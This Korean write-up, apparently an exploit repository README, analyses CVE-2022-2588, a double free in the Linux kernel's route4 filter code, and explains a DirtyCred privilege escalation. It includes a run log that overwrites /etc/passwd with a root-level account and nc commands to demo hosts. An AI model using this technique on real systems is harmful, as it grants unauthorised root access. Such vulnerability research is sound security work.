
CVE-2022-2588에 대한 상세한 분석과 익스플로잇 코드입니다. route4_change의 Linux 커널 use-after-free 취약점으로, double-free 및 credential swapping을 통해 권한 상승으로 이어집니다.
이 버그는 Linux v5.19에서 이 커밋으로 수정되었습니다.
이 버그는 2014년 이 커밋으로 Linux v3.17에서 도입되었습니다. 트리거하려면 User Namespaces가 필요합니다. 이 버그는 CVE-2021-3715와 매우 유사하며, 이는 route4_filter의 연결 리스트에 대한 잘못된 연산으로 인해 발생했습니다. CVE-2021-3715에 대한 자세한 내용은 블랙햇 발표 (16페이지)에서 찾을 수 있습니다. 다음은 CVE-2022-2588에 대한 간략한 설명입니다.
다음은 CVE-2022-2588을 이해하기 위한 함수 route4_change의 중요한 코드 조각입니다.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// 동일한 핸들을 가진 필터가 있으면 일부 정보를 복사
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// 새 필터 초기화
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// 새 필터를 리스트에 삽입
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// fold가 존재하면 리스트에서 제거
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// 연결 리스트에서 이전 필터 제거
break;
}
}
}
}
...
// fold 필터가 존재하면 해제 [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
이 함수는 route4_filter 객체를 초기화/교체하기 위해 구현되었습니다. 필터는 handle을 고유 ID로 사용하여 각 필터를 구분합니다. 이전에 초기화된 핸들(즉, fold 변수가 null이 아님)이 있으면, 이전 필터를 제거하고 새 필터를 추가하여 필터를 업데이트합니다. 그렇지 않으면 새 필터만 추가합니다.
[0]에서 커널은 route4_filter 객체를 할당합니다. [1]에서 fold가 비어 있지 않으면(즉, 동일한 핸들을 가진 필터가 존재함) 새 필터에 일부 정보를 복사하고 [2]에서 새 필터를 초기화한 후 [3]에서 리스트에 삽입합니다. 이전 필터가 존재하면 [4]에서 리스트에서 제거되고 [6]에서 해제됩니다.
버그는 [4]에서 발생하며, 여기서는 제거할 이전 필터가 있는지 확인합니다. 조건은 핸들이 0이 아니어야 하며 새 필터의 핸들과 일치해야 합니다. 이 조건은 [6]에서 필터를 해제하는 조건과 일치하지 않으며, [6]에서는 이전 필터의 존재 여부만 확인합니다. 따라서 사용자가 핸들이 0인 필터를 생성한 다음 교체를 트리거하면 [4]에서 연결이 해제되지 않지만 조건이 동일하지 않기 때문에 [6]에서 해제됩니다.
이 버그는 CVE-2021-3715와 유사하므로 프리미티브도 거의 동일합니다. 독자는 프리미티브에 대한 자세한 설명을 블랙햇 발표에서 참조할 수 있습니다. 이 문서는 DirtyCred의 개념을 사용한 익스플로잇을 보여줍니다.
버그를 트리거한 후 해제된 fold가 여전히 연결 리스트에 있으므로 fold를 다시 한 번 해제할 수 있으며, 이는 결국 route4_filer 객체와 CONFIG_NET_CLS_ACT가 활성화된 경우 route4_filter->exts.action 객체에 대해 이중 해제를 유발합니다.
익스플로잇 코드는 이 두 가지 이중 해제 기능을 사용하여 작업 자격 증명 (kmalloc-192 이중 해제 활용, 추후 제공) 및 열린 파일 자격 증명 (kmalloc-256 이중 해제 활용)에 대한 공격을 시연합니다.
DirtyCred의 개념에 따라 익스플로잇 코드는 권한 검사 후 파일 자격 증명을 교체하여 읽기 권한이 있는 파일에 어떤 내용이든 쓸 수 있도록 합니다. 이상적으로 이 코드는 버그의 영향을 받는 모든 커널 버전에서 작동합니다. 이전 커널에서는 msg_msg가 kmalloc-rcl-*에서 격리되어 있으므로 익스플로잇은 다른 스프레이 객체를 사용합니다.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
이 익스플로잇은 최대한 많은 배포판에서 작동하도록 작성되었습니다. 다음에서 작동이 확인되었습니다.
(다른 커널에서도 작동하는 것을 발견하면 PR을 보내 업데이트해 주세요.)
사용자 low와 비밀번호 low로 로그인해 주세요.
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338